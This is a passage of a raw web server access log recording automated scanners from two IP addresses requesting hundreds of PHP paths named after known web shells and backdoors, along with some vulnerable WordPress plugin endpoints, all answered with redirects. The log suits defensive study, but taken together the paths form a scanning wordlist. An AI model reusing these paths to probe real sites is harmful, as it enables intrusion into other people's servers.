(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:02 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:02 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:02 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:27:03 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:03 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:27:03 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:03 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:03 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:03 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:04 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:04 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:04 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:04 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:27:05 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:27:05 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:05 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:27:05 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:27:05 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:06 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:06 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:27:06 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:06 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:06 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:07 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:27:07 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:27:07 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:07 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:27:07 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:08 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:08 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:27:10 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:27:13 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:18 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:23 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:27:27 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:28 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:30 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:27:31 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:33 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:34 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:34 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:34 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:35 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:27:35 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:36 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:36 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:37 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:37 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:37 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:27:37 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:37 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:27:38 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:38 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:38 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:27:38 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:39 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:27:39 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:39 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:40 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:40 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:41 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:41 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:41 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:41 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:27:42 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:42 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:27:42 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:42 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:42 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:43 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:27:43 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:27:43 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:43 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:27:43 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:27:44 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:27:44 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:44 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:27:44 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:45 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:45 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:27:46 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:46 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:27:46 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:27:47 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:27:47 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:47 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:27:47 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:27:48 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.178.164 - - [25/Apr/2025:11:27:48 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:48 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:48 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:27:49 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.178.164 - - [25/Apr/2025:11:27:49 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:27:49 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:27:49 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:50 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:27:50 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:50 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:27:50 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:27:51 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:51 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:51 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.178.164 - - [25/Apr/2025:11:27:51 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:51 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:52 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:27:52 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:52 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:52 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:52 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:27:53 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:53 